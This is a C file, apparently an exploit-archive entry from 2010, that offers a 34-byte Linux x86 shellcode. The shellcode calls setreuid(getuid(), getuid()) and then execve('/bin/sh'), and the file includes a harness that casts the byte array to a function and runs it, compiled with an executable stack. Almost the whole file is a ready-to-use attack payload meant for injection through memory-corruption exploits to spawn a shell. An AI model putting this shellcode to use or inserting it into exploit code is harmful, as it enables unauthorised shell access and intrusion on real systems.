31 lines
No EOL
763 B
C
31 lines
No EOL
763 B
C
#include <stdio.h>
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#include <string.h>
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/*
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by Magnefikko
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14.04.2010
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magnefikko@gmail.com
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promhyl.oz.pl
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Subgroup: #PRekambr
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Name: 34 bytes setreud(getuid(), getuid()) & execve("/bin/sh") shellcode
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Platform: Linux x86
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setreuid(getuid(), getuid());
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execve("/bin/sh");
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gcc -Wl,-z,execstack filename.c
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shellcode:
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\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80
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*/
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int main(){
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char shell[] =
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"\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80";
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printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
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= %d\n", strlen(shell));
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(*(void (*)()) shell)();
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} |